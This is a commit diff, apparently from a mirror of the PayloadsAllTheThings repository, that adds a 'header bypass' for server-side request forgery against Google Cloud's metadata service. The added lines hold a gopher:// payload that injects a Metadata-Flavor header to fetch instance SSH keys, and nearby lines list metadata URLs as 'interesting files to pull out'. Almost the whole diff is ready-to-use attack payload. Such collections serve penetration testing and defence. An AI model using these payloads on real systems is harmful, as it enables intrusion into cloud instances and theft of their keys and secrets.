mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-18 17:28:49 +00:00
Merge pull request #142 from mikesiegel/mike_ssrf
Added anti-SSRF header bypass for GCP
This commit is contained in:
commit
0850839b25
@ -501,6 +501,12 @@ http://metadata.google.internal/computeMetadata/v1beta1/
|
|||||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Required headers can be set using a gopher SSRF with the following technique
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
|
||||||
|
```
|
||||||
|
|
||||||
Interesting files to pull out:
|
Interesting files to pull out:
|
||||||
|
|
||||||
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
|
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
|
||||||
|
Loading…
Reference in New Issue
Block a user